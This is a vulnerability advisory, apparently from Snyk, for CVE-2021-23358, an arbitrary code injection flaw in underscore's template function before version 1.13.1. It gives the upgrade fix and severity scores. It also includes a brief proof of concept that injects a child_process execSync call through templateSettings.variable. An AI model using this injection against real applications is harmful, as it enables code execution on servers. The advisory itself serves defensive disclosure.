

Arbitrary Code Injection

Affecting [org.webjars.bowergithub.jashkenas:underscore](#) package, versions **[0,1.13.1)**

INTRODUCED: 2 MAR 2021 [CVE-2021-23358](#) ⓘ [CWE-94](#) ⓘ

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How to fix?

Upgrade [org.webjars.bowergithub.jashkenas:underscore](#) to version 1.13.1 or higher.

Overview

[org.webjars.bowergithub.jashkenas:underscore](#) is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the `template` function, particularly when the `variable` option is taken from `_.templateSettings` as it is not sanitized.

PoC

```
const _ = require('underscore');
_.templateSettings.variable = "a =
this.process.mainModule.require('child_process').execSync('touch HELLO');"
const t = _.template("");
```

References

- [GitHub Additional Information](#)
- [GitHub Commit](#)

MEDIUM

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Snyk CVSS

Exploit Maturity	Proof of concept ⓘ
Attack Complexity	High ⓘ
Privileges Required	HIGH ⓘ
Confidentiality	HIGH ⓘ

[See more](#)

> **NVD** 7.2 HIGH

> **Red Hat** 7.2 HIGH

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Snyk **SNYK-JAVA-ORGWEBJARSBOWERGITHUBJASHKENAS-1081505**

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Credit **Alessio Della Libera (@d3lla)**

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Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.